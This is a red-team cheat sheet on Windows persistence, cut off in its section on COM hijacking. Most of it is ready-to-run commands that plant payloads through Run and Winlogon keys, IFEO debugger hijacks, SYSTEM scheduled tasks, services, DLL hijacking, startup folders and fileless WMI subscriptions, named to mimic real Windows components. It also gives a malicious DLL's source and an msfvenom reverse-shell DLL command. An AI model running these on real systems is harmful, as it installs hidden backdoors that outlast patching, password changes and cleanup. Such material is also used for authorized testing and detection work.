Legend:
[REG]= Registry-based |[SCHED]= Scheduled Task |[SVC]= Service-based |[FILE]= File system |[USER]= User account |[COM]= COM/WMI |[AD]= Active Directory |[BOOT]= Boot/BIOS level |[CRED]= Credential-based |[CMD]= Command/tool
1. Overview & Mindset
What is Persistence?
Persistence is the set of techniques used to maintain access to a compromised system across reboots, credential changes, and defensive actions — without requiring re-exploitation. Once initial access is obtained, persistence ensures continued access even if:
- The exploited vulnerability gets patched
- The user changes their password
- The initial payload process is killed
- The system reboots
- A defender discovers and removes one persistence mechanism
The Persistence Mindset
PERSISTENCE PRINCIPLES:
────────────────────────────────────────────────────────────────────
1. REDUNDANCY → Install multiple persistence mechanisms. If one fails or is
discovered, another survives.
2. STEALTH → Blend in with legitimate system activity. Named services,
tasks, and registry keys should mimic real Windows components.
3. PRIVILEGE → Persist at the highest privilege possible. SYSTEM-level
persistence survives user logouts and password changes.
4. TRIGGERING → Choose the right trigger: boot, logon, schedule, event.
Boot/logon triggers are most reliable for sustained access.
5. CLEANUP → Know what artifacts you create so you can remove them after
the engagement ends.
Persistence vs. Privilege Escalation
ATTACK FLOW:
────────────────────────────────────────────────────────────────────
Initial Access (foothold)
│
├──► Situational Awareness (who am I, where am I, what's here?)
│
├──► Privilege Escalation (Low User → Local Admin → SYSTEM)
│
├──► Persistence Install (secure long-term access at obtained priv level)
│
├──► Credential Harvesting (dump hashes, creds for lateral movement)
│
└──► Lateral Movement / Objectives
Persistence is typically installed after escalating privileges so that the persistent access has the highest possible privilege. However, low-privilege persistence may also be installed as a backup.
Persistence Privilege Tiers
TIER 1 — SYSTEM-level persistence
Survives: reboots, user logouts, user password changes, user account deletion
Examples: Services, boot-level tasks, WMI subscriptions running as SYSTEM
TIER 2 — Local Administrator-level persistence
Survives: reboots, user logouts
May fail if: admin account is deleted or disabled
TIER 3 — User-level persistence
Survives: reboots (with user auto-login)
Fails if: user logs out or password changes (for credential-based)
Examples: HKCU run keys, user startup folder, user-level scheduled tasks
2. Persistence Classification & Decision Tree
Classification by Trigger
PERSISTENCE BY TRIGGER TYPE:
────────────────────────────────────────────────────────────────────
ON BOOT (before login):
├── Boot Sector / MBR implants
├── UEFI/EFI bootkit
├── System service (auto-start)
└── Boot-time driver (kernel driver persistence)
ON LOGON (user logs in):
├── HKLM\...\Run / RunOnce keys
├── HKCU\...\Run / RunOnce keys
├── Startup folder (All Users or per-user)
├── Winlogon Userinit / Shell keys
└── Logon-triggered scheduled task
ON SCHEDULE:
├── Scheduled Task (time-based, interval-based)
└── WMI __TimerEvent subscription
ON EVENT:
├── WMI __EventFilter (process create, file create, network conn.)
├── Scheduled Task (on idle, on event log entry, on user connect)
└── Debugger key hijack (runs on application crash/launch)
ON APPLICATION LAUNCH:
├── DLL hijacking (runs when target application starts)
├── COM object hijacking (runs when target COM object is instantiated)
├── AppInit DLLs (loads into every process using user32.dll)
└── Image File Execution Options (IFEO) — debugger substitution
Persistence Decision Tree
┌────────────────────────────────────────────────────────────────────┐
│ PERSISTENCE DECISION TREE │
│ │
│ What privilege level do I have? │
│ │ │
│ ├── SYSTEM or Local Admin │
│ │ ├──► Create a Windows Service (most reliable) │
│ │ ├──► HKLM Run Key (simple, common, often caught) │
│ │ ├──► Scheduled Task as SYSTEM (very reliable + stealthy) │
│ │ ├──► WMI Subscription (stealthy, fileless options) │
│ │ ├──► DLL Hijacking (blend into legit apps) │
│ │ ├──► Golden/Silver Ticket (if DC access available) │
│ │ └──► Create backdoor admin account │
│ │ │
│ ├── Standard User │
│ │ ├──► HKCU Run Key (survives reboot, user-level only) │
│ │ ├──► User Startup Folder │
│ │ ├──► User-level Scheduled Task │
│ │ ├──► COM Object Hijacking (HKCU, no admin needed) │
│ │ └──► User-level WMI (limited) │
│ │ │
│ └── Domain Admin (Active Directory) │
│ ├──► Golden Ticket (krbtgt hash) │
│ ├──► Silver Ticket (service account hash) │
│ ├──► DCSync rights (ACL modification) │
│ ├──► AdminSDHolder abuse │
│ ├──► DSRM account enable │
│ └──► Skeleton Key (lsass patch) │
└────────────────────────────────────────────────────────────────────┘
3. Registry-Based Persistence
Registry run keys are the most common and simplest form of Windows persistence. They instruct Windows to run specified executables at logon or at boot.
3.1 Core Run Keys
KEY LOCATIONS (HKLM = requires admin, HKCU = user-level):
────────────────────────────────────────────────────────────────────
[HKLM - All Users, runs as the logging-in user, requires admin to write]
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce ← deleted after first run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices ← legacy, rarely used
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
[HKCU - Current user only, no admin required]
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
[64-bit system, 32-bit application keys - Wow6432Node]
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKCU\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
[Policy-enforced run keys — may override standard run key blocks]
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
3.2 Adding Run Key Persistence
:: ─── CMD — Add HKLM Run Key (requires admin) ───
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" ^
/v "WindowsSecurityUpdate" /t REG_SZ ^
/d "C:\Windows\Temp\payload.exe" /f
:: ─── CMD — Add HKCU Run Key (no admin needed) ───
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" ^
/v "OneDriveUpdater" /t REG_SZ ^
/d "C:\Users\Public\update.exe" /f
:: ─── PowerShell — Add Run Key ───
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" `
-Name "WindowsDefenderService" `
-Value "C:\Windows\System32\payload.exe"
:: ─── PowerShell — HKCU ───
New-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" `
-Name "SyncEngine" -Value "C:\Users\Public\sync.exe" -PropertyType String -Force
:: ─── Encoded PowerShell command as run value ───
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" ^
/v "SystemSync" /t REG_SZ ^
/d "powershell.exe -WindowStyle Hidden -EncodedCommand <BASE64>" /f
3.3 Winlogon Keys — High Privilege
The Winlogon process keys control what executes when a user logs in. Modifying Userinit or Shell keys allows code execution in the context of the logging-in user, with Winlogon running early in the logon sequence.
KEY: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Important values:
Userinit → Default: C:\Windows\system32\userinit.exe,
Shell → Default: explorer.exe
:: ─── Append to Userinit (comma-separated, original must remain!) ───
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" ^
/v "Userinit" /t REG_SZ ^
/d "C:\Windows\system32\userinit.exe,C:\Windows\Temp\payload.exe" /f
:: ─── Replace Shell (more obvious, but can be stealthy with proxy launcher) ───
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" ^
/v "Shell" /t REG_SZ ^
/d "explorer.exe, C:\Windows\Temp\payload.exe" /f
WARNING: If
Userinitis set incorrectly (without the comma or missing the original path), the user logon will fail. Always append, never replace entirely.
3.4 Image File Execution Options (IFEO) — Debugger Hijack
IFEO lets you specify a debugger that is launched instead of a target executable. This is abused for persistence by setting a payload as the "debugger" for a commonly-used legitimate application. When that application is launched, your payload runs first.
KEY: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<target.exe>
Value: Debugger = <path to payload>
:: ─── Set payload to run when notepad.exe is launched ───
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" ^
/v "Debugger" /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f
:: ─── Target a commonly auto-launched process (runs on most user actions) ───
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe" ^
/v "Debugger" /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f
:: ─── Trigger on error (e.g. WerFault.exe — Windows Error Reporting) ───
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WerFault.exe" ^
/v "Debugger" /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f
NOTE: The target executable will fail to launch normally unless your payload launches it as a child process. This is intentional for debugger mode but may create instability.
3.5 SilentProcessExit — Stealthy Alternative to IFEO
SilentProcessExit is a less-known sibling to IFEO that allows a "monitor" process to launch when a specified process exits. This is even more obscure than IFEO and evades detections that focus only on the Debugger key.
KEYS REQUIRED:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<target.exe>
→ GlobalFlag = 0x200
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\<target.exe>
→ MonitorProcess = <path to payload>
→ ReportingMode = 0x1
:: ─── Enable SilentProcessExit for notepad.exe ───
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" ^
/v "GlobalFlag" /t REG_DWORD /d "512" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" ^
/v "ReportingMode" /t REG_DWORD /d "1" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" ^
/v "MonitorProcess" /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f
When notepad.exe exits,
payload.exeis launched by WerFault.exe (Windows Error Reporting) as a monitor process.
3.6 BootExecute Key
The BootExecute key controls native applications that run before the Windows subsystem is fully initialized — this is early boot persistence.
KEY: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager
Value: BootExecute (REG_MULTI_SZ)
Default: autocheck autochk *
:: ─── View current BootExecute value ───
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v BootExecute
:: Adding a native application here requires the binary to be a native NT app
:: (uses NtCreateFile, NtWriteFile etc.) — not a standard Win32 EXE
:: This technique is advanced and typically used by rootkits/bootloaders
3.7 AppCertDLLs
Every process that calls CreateProcess will load DLLs specified in this key. This is loaded into every process creation.
KEY: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDlls
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDlls" ^
/v "SecurityAudit" /t REG_SZ /d "C:\Windows\System32\malicious.dll" /f
DLL must export a function called
CreateProcessNotify. Requires SYSTEM or admin.
4. Scheduled Task Persistence
Scheduled tasks are extremely versatile for persistence — they support rich trigger options, can run as SYSTEM without interactive logon, and blend in with hundreds of legitimate Windows tasks.
4.1 Scheduled Task Trigger Types
TRIGGER TYPES:
────────────────────────────────────────────────────────────────────
OnBoot → Runs when the system starts (SYSTEM context, no login needed)
OnLogon → Runs when any (or specific) user logs in
Daily/Weekly → Time-based execution
OnIdle → Runs when system has been idle for N minutes
OnEvent → Triggers on Windows Event Log entry (EventID-based)
OnSessionChange → User connect/disconnect/lock/unlock
RepetitionInterval → Runs repeatedly every N minutes after trigger
4.2 Creating Scheduled Tasks — CMD (schtasks)
:: ─── Basic — Run at system startup as SYSTEM (most reliable) ───
schtasks /create /sc ONSTART /tn "MicrosoftEdgeUpdate" ^
/tr "C:\Windows\Temp\payload.exe" /ru SYSTEM /f
:: ─── Run at logon (runs as logged-in user) ───
schtasks /create /sc ONLOGON /tn "OneDriveSync" ^
/tr "C:\Users\Public\payload.exe" /ru "%USERNAME%" /f
:: ─── Run every 5 minutes (interval-based, very persistent) ───
schtasks /create /sc MINUTE /mo 5 /tn "WindowsTelemetry" ^
/tr "C:\Windows\Temp\payload.exe" /ru SYSTEM /f
:: ─── Run daily at a specific time ───
schtasks /create /sc DAILY /st 08:00 /tn "SystemHealthCheck" ^
/tr "C:\Windows\Temp\payload.exe" /ru SYSTEM /f
:: ─── Run at logon for a specific user, hidden ───
schtasks /create /sc ONLOGON /tn "SyncUpdate" ^
/tr "powershell.exe -WindowStyle Hidden -ep bypass -File C:\ProgramData\sync.ps1" ^
/ru SYSTEM /delay 0000:30 /f
:: ─── Run on event (e.g., Event ID 4624 — Logon) ───
schtasks /create /tn "AuditCheck" /sc ONEVENT ^
/EC Security /MO "*[System[EventID=4624]]" ^
/tr "C:\Windows\Temp\payload.exe" /ru SYSTEM /f
:: ─── Run on idle ───
schtasks /create /sc ONIDLE /i 10 /tn "IdleTask" ^
/tr "C:\Windows\Temp\payload.exe" /ru SYSTEM /f
4.3 Creating Scheduled Tasks — PowerShell (more control)
# ─── Full-featured PowerShell scheduled task (SYSTEM, on boot, hidden) ───
$Action = New-ScheduledTaskAction -Execute "C:\Windows\Temp\payload.exe"
$Trigger = New-ScheduledTaskTrigger -AtStartup
$Settings = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries `
-DontStopIfGoingOnBatteries -ExecutionTimeLimit (New-TimeSpan -Days 999)
$Principal = New-ScheduledTaskPrincipal -UserId "NT AUTHORITY\SYSTEM" `
-LogonType ServiceAccount -RunLevel Highest
Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateCore" `
-Action $Action -Trigger $Trigger -Settings $Settings `
-Principal $Principal -Force
# ─── Repeat every 10 minutes (interval-based) ───
$Action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -NoProfile -EncodedCommand <BASE64>"
$Trigger = New-ScheduledTaskTrigger -RepetitionInterval (New-TimeSpan -Minutes 10) `
-Once -At (Get-Date)
Register-ScheduledTask -TaskName "WindowsNetworkSync" `
-Action $Action -Trigger $Trigger -RunLevel Highest `
-User "SYSTEM" -Force
# ─── Logon trigger for specific user ───
$Action = New-ScheduledTaskAction -Execute "C:\Users\Public\payload.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogOn -User "DOMAIN\TargetUser"
Register-ScheduledTask -TaskName "UserOneDriveHelper" `
-Action $Action -Trigger $Trigger `
-RunLevel Highest -Force
# ─── Delete a scheduled task ───
Unregister-ScheduledTask -TaskName "MicrosoftEdgeUpdateCore" -Confirm:$false
# ─── List all scheduled tasks (for enumeration) ───
Get-ScheduledTask | Where-Object { $_.State -ne "Disabled" } |
Select-Object TaskName, TaskPath, State | Format-Table -AutoSize
4.4 Scheduled Task Hiding — COM Hijack of Task Scheduler
Task Scheduler stores tasks as XML files. You can modify or create XML directly in the task folder for fileless stealth:
Task XML Files Location:
C:\Windows\System32\Tasks\ ← System tasks
C:\Windows\SysWOW64\Tasks\ ← 32-bit tasks
:: ─── Export a legitimate task as template ───
schtasks /query /tn "MicrosoftEdgeUpdate" /xml > C:\Temp\task_template.xml
:: ─── Modify the Action node in the XML ───
:: Then import the modified task ───
schtasks /create /xml "C:\Temp\modified_task.xml" /tn "MicrosoftEdgeUpdate" /f
4.5 Scheduled Task Camouflage Tips
NAMING CONVENTIONS (blend in):
────────────────────────────────────────────────────────────────────
Place tasks under legitimate-looking paths:
\Microsoft\Windows\WindowsUpdate\
\Microsoft\Windows\Defrag\
\Microsoft\Windows\DiskCleanup\
\Microsoft\Office\
Use names that match existing tasks:
MicrosoftEdgeUpdateTaskMachineCore
GoogleUpdateTaskMachineCore
OneDriveStandaloneUpdater
SysmonLogfileArchive
WindowsDefenderScheduledScan
# ─── Create task in a legitimate-looking path ───
$Action = New-ScheduledTaskAction -Execute "C:\Windows\Temp\payload.exe"
$Trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskPath "\Microsoft\Windows\WindowsUpdate\" `
-TaskName "InstallUpdates" -Action $Action -Trigger $Trigger `
-User "SYSTEM" -RunLevel Highest -Force
5. Service-Based Persistence
Windows Services are among the most reliable persistence mechanisms. They run in the background, survive reboots, can run as SYSTEM without any user interaction, and blend in with hundreds of legitimate services.
5.1 Creating a New Service
:: ─── Create a service (sc.exe) ───
sc create "WindowsNetworkService" binPath= "C:\Windows\Temp\payload.exe" ^
start= auto DisplayName= "Windows Network Service" type= own
:: ─── Start the service ───
sc start "WindowsNetworkService"
:: ─── Set service description (blend in) ───
sc description "WindowsNetworkService" "Provides network connectivity services."
:: ─── Set failure recovery — restart on failure (self-healing persistence!) ───
sc failure "WindowsNetworkService" reset= 0 actions= restart/60000/restart/60000/restart/60000
:: ─── Verify ───
sc query "WindowsNetworkService"
sc qc "WindowsNetworkService"
# ─── Create service via PowerShell ───
New-Service -Name "WindowsNetworkService" `
-BinaryPathName "C:\Windows\Temp\payload.exe" `
-DisplayName "Windows Network Service" `
-Description "Provides network connectivity and diagnostics." `
-StartupType Automatic
Start-Service "WindowsNetworkService"
# ─── Verify ───
Get-Service "WindowsNetworkService"
5.2 Service Binary Requirements
Windows service executables must implement the ServiceMain function and communicate with the Service Control Manager (SCM). A raw executable will fail with error 1053 (service did not respond in time) if it doesn't implement the service interface.
OPTIONS FOR SERVICE BINARIES:
────────────────────────────────────────────────────────────────────
1. True service binary (implements ServiceMain) — most stable
2. Use a wrapper: srvany.exe or sc.exe with "interact" flag
3. Use a scheduled task triggered by service start instead
4. PowerShell service wrapper (PSExec-style)
5. Use nssm.exe (Non-Sucking Service Manager) to wrap any exe as service
:: ─── Using NSSM to wrap any executable as a service ───
nssm.exe install "WindowsNetworkService" "C:\Windows\Temp\payload.exe"
nssm.exe set "WindowsNetworkService" Start SERVICE_AUTO_START
nssm.exe set "WindowsNetworkService" ObjectName LocalSystem
nssm.exe start "WindowsNetworkService"
:: ─── Using sc.exe to run a binary with arguments ───
sc create "WindowsNetworkService" ^
binPath= "cmd.exe /c C:\Windows\Temp\payload.bat" ^
start= auto type= own
5.3 Hijacking Existing Services
If you can modify an existing stopped/disabled service, this avoids creating new entries that stand out in service audits.
:: ─── Check writable services ───
accesschk64.exe -wuvc * /accepteula 2>nul | findstr /i "SERVICE_ALL_ACCESS\|SERVICE_CHANGE_CONFIG"
:: ─── Modify binary path of existing service ───
sc config "Spooler" binPath= "C:\Windows\Temp\payload.exe"
:: ─── Restore after testing ───
sc config "Spooler" binPath= "C:\Windows\System32\spoolsv.exe"
:: ─── Or use PowerShell ───
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Spooler" `
-Name "ImagePath" -Value "C:\Windows\Temp\payload.exe"
5.4 Service Registry Key
Every service has a registry key. Directly editing this key is equivalent to using sc.exe but leaves different artifacts.
KEY: HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>
Critical Values:
ImagePath → REG_EXPAND_SZ → Path to service binary
Start → REG_DWORD → 0=Boot, 1=System, 2=Auto, 3=Manual, 4=Disabled
Type → REG_DWORD → 0x10=Own Process, 0x20=Share Process
ObjectName → REG_SZ → LocalSystem, NT AUTHORITY\NetworkService, etc.
# ─── Create service via registry directly ───
$svcPath = "HKLM:\SYSTEM\CurrentControlSet\Services\WindowsNetworkService"
New-Item -Path $svcPath -Force
Set-ItemProperty -Path $svcPath -Name "ImagePath" -Value "C:\Windows\Temp\payload.exe"
Set-ItemProperty -Path $svcPath -Name "Start" -Value 2 # Auto
Set-ItemProperty -Path $svcPath -Name "Type" -Value 0x10 # Own process
Set-ItemProperty -Path $svcPath -Name "ObjectName" -Value "LocalSystem"
Set-ItemProperty -Path $svcPath -Name "DisplayName" -Value "Windows Network Service"
Set-ItemProperty -Path $svcPath -Name "Description" -Value "Manages network connectivity."
6. DLL Hijacking for Persistence
DLL hijacking for persistence works by placing a malicious DLL in a location that a legitimate application searches before the real DLL location. When the application auto-starts (via Run keys, services, or user logon), your DLL is loaded.
6.1 DLL Search Order
Windows searches for DLLs in this order (with SafeDllSearchMode enabled):
DLL SEARCH ORDER (default, SafeDllSearchMode ON):
────────────────────────────────────────────────────────────────────
1. DLLs already loaded in memory (KnownDLLs)
2. Application directory (same folder as the .exe)
3. System directory: C:\Windows\System32\
4. 16-bit system dir: C:\Windows\System\
5. Windows directory: C:\Windows\
6. Current working directory
7. Directories in PATH environment variable (left to right)
With SafeDllSearchMode DISABLED (rare), the current directory moves to position 2, creating more hijack opportunities.
6.2 Finding DLL Hijacking Opportunities
# ─── Procmon (Sysinternals) — find DLL not found events ───
# Filter: Operation is "NAME NOT FOUND" AND Path ends with ".dll"
# Run Procmon while triggering the target application
# ─── PowerSploit - Find-PathDLLHijack ───
Import-Module .\PowerUp.ps1
Find-DLLHijack
Find-PathDLLHijack
# ─── SharpUp ───
.\SharpUp.exe HijackablePaths
# ─── Manual — check writable directories in PATH ───
$env:PATH -split ";" | ForEach-Object {
if (Test-Path $_) {
$acl = Get-Acl $_
$acl.Access | Where-Object {
$_.FileSystemRights -match "Write" -and
$_.IdentityReference -match "Users|Everyone|Authenticated"
} | Select-Object @{n="Path";e={$_}}, IdentityReference, FileSystemRights
}
}
6.3 Common DLL Hijacking Targets
HIGH-VALUE DLL HIJACKING TARGETS:
────────────────────────────────────────────────────────────────────
Application Missing DLL Notes
─────────────────────────────────────────────────────────────────
WinSCP uxtheme.dll Auto-starts via task/shortcut
PuTTY CRYPTBASE.dll Loads from app dir
TeamViewer dbghelp.dll Writable service directory
VMware Tools vmtools.dll Service, runs as SYSTEM
Microsoft Teams VERSION.dll User-level, on logon
OneDrive USERENV.dll Logon autostart
WindowsApp (store apps) varies UWP DLL search quirks
services.exe varies SYSTEM level if writable path
6.4 Creating a Malicious DLL (Proxy DLL)
A proxy DLL exports all functions from the original DLL (to avoid breaking the application) and additionally runs malicious code.
// Minimal DLL for persistence (no function exports — causes app instability)
// For production use, create a proper proxy DLL
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
// Payload executes when DLL is loaded by target process
WinExec("cmd.exe /c C:\\Windows\\Temp\\payload.exe", SW_HIDE);
break;
}
return TRUE;
}
# ─── Compile on Linux (cross-compile) ───
x86_64-w64-mingw32-gcc -shared -o malicious.dll malicious.c -lws2_32
# ─── Or use msfvenom ───
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=443 \
-f dll -o malicious.dll
6.5 DLL Hijacking — Phantom DLL Hijacking
Phantom DLL hijacking targets DLLs that Windows tries to load but which don't exist on the system. You simply place your DLL at the expected path.
# ─── Find phantom DLL load attempts via Procmon ───
# Filter: Operation = NAME NOT FOUND, Path ends with .dll, Result = NAME NOT FOUND
# The target DLL does not exist — place your version there
# Common phantom DLLs:
# C:\Windows\System32\wbem\wbemcomn.dll (WMI)
# C:\Windows\SysWOW64\wbem\wbemcomn.dll
7. Startup Folder & Autorun Persistence
Startup folders are simple and require no registry edits. They are easy to check and often cleaned by defenders, but still useful as a primary or backup mechanism.
7.1 Startup Folder Locations
STARTUP FOLDER PATHS:
────────────────────────────────────────────────────────────────────
All Users (requires admin):
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\
%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Startup\
Current User (no admin needed):
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
:: ─── Drop payload into All Users startup (requires admin) ───
copy C:\Windows\Temp\payload.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\WindowsUpdate.exe"
:: ─── Drop payload into current user startup ───
copy C:\Windows\Temp\payload.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\OneDriveHelper.exe"
:: ─── Using a shortcut (.lnk) instead of the binary directly ───
:: (harder to detect by name-based searches since the .lnk can have a harmless name)
$WS = New-Object -ComObject WScript.Shell
$Shortcut = $WS.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\SyncEngine.lnk")
$Shortcut.TargetPath = "C:\Windows\Temp\payload.exe"
$Shortcut.Arguments = "/silent"
$Shortcut.WindowStyle = 7 # Minimized
$Shortcut.Save()
7.2 Enumerate Startup Folders
# ─── List contents of all startup folders ───
Get-ChildItem "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\"
# ─── PowerShell — auto enumerate both ───
$paths = @(
"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp",
"$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
)
$paths | ForEach-Object {
if (Test-Path $_) {
Get-ChildItem $_ | Select-Object FullName, LastWriteTime
}
}
8. WMI Subscription Persistence
WMI event subscriptions are one of the most powerful and stealthy persistence mechanisms. They operate independently of the registry Run keys and startup folders, survive reboots, and can be triggered by virtually any system event. Critically, WMI subscriptions persist in the WMI repository, not on the filesystem.
8.1 WMI Persistence Architecture
WMI SUBSCRIPTION COMPONENTS:
────────────────────────────────────────────────────────────────────
1. __EventFilter → Defines WHEN to trigger (what event to watch)
2. __EventConsumer → Defines WHAT to do (execute command, script, etc.)
3. __FilterToConsumerBinding → Links the filter to the consumer (activates it)
WMI REPOSITORY (where persistence lives):
C:\Windows\System32\wbem\Repository\
Files: OBJECTS.DATA, INDEX.BTR, INDEX.MAP, MAPPING*.MAP
→ Not easily inspected via standard file tools
→ Persists across reboots without any registry or file changes
8.2 WMI Persistence — PowerShell
# ─── WMI Persistence — Run on boot (most common approach) ───
# Step 1: Create the Event Filter (trigger = system boot)
$FilterArgs = @{
Name = "WindowsUpdateFilter"
EventNamespace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
}
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs
# Step 2: Create the Event Consumer (action = run command)
$ConsumerArgs = @{
Name = "WindowsUpdateConsumer"
CommandLineTemplate = "C:\Windows\Temp\payload.exe"
}
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs
# Step 3: Bind Filter to Consumer
$BindingArgs = @{
Filter = $Filter
Consumer = $Consumer
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $BindingArgs
# ─── WMI Persistence — Trigger on user logon ───
$FilterArgs = @{
Name = "LogonFilter"
EventNamespace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType=2"
}
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs
$ConsumerArgs = @{
Name = "LogonConsumer"
CommandLineTemplate = "powershell.exe -WindowStyle Hidden -EncodedCommand <BASE64>"
}
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
Filter = $Filter; Consumer = $Consumer
}
8.3 WMI Consumer Types
CONSUMER TYPES:
────────────────────────────────────────────────────────────────────
CommandLineEventConsumer → Execute a command line
ActiveScriptEventConsumer → Execute VBScript or JScript inline (fileless!)
LogFileEventConsumer → Write to a log file (rarely useful for offense)
NTEventLogEventConsumer → Write to Windows Event Log
SMTPEventConsumer → Send email (rarely used)
# ─── ActiveScriptEventConsumer — Fileless WMI Persistence ───
$ScriptText = @"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell.exe -WindowStyle Hidden -EncodedCommand <BASE64>", 0, False
"@
$ConsumerArgs = @{
Name = "UpdateScriptConsumer"
ScriptingEngine = "VBScript"
ScriptText = $ScriptText
}
$Consumer = Set-WmiInstance -Namespace root\subscription `
-Class ActiveScriptEventConsumer -Arguments $ConsumerArgs
8.4 Enumerating WMI Subscriptions
# ─── List all WMI event filters ───
Get-WMIObject -Namespace root\subscription -Class __EventFilter |
Select-Object Name, Query | Format-List
# ─── List all WMI consumers ───
Get-WMIObject -Namespace root\subscription -Class __EventConsumer |
Select-Object Name, CommandLineTemplate, ScriptText | Format-List
# ─── List all bindings ───
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding |
Select-Object Filter, Consumer | Format-List
# ─── Remove WMI persistence ───
Get-WMIObject -Namespace root\subscription -Class __EventFilter |
Where-Object { $_.Name -eq "WindowsUpdateFilter" } | Remove-WmiObject
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer |
Where-Object { $_.Name -eq "WindowsUpdateConsumer" } | Remove-WmiObject
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding |
Remove-WmiObject
8.5 Tools for WMI Persistence
# ─── PowerLurk — WMI persistence framework ───
Import-Module .\PowerLurk.ps1
Register-MaliciousWmiEvent -EventName "WindowsUpdate" `
-PermanentCommand "C:\Windows\Temp\payload.exe" `
-Trigger ProcessStart -ProcessName "powershell.exe"
# ─── Sharp-WMIEvent (C# based) ───
.\Sharp-WMIEvent.exe --name WindowsUpdate --command "C:\Temp\payload.exe" --timer 60
# ─── wmipersist.py (from Kali/attacker side via wmiexec) ───
python3 wmipersist.py <target> <user> <pass> install -name WindowsUpdate -command 'cmd /c ...'
9. COM Object Hijacking
COM (Component Object Model) hijacking is a stealthy persistence and privilege escalation technique that works by registering a fake COM object that overrides a legitimate one. When legitimate applications call CoCreateInstance to instantiate that COM object, your DLL is loaded instead.
9.1 How COM Hijacking Works
COM RESOLUTION ORDER:
────────────────────────────────────────────────────────────────────
When a process calls CoCreateInstance({CLSID}):
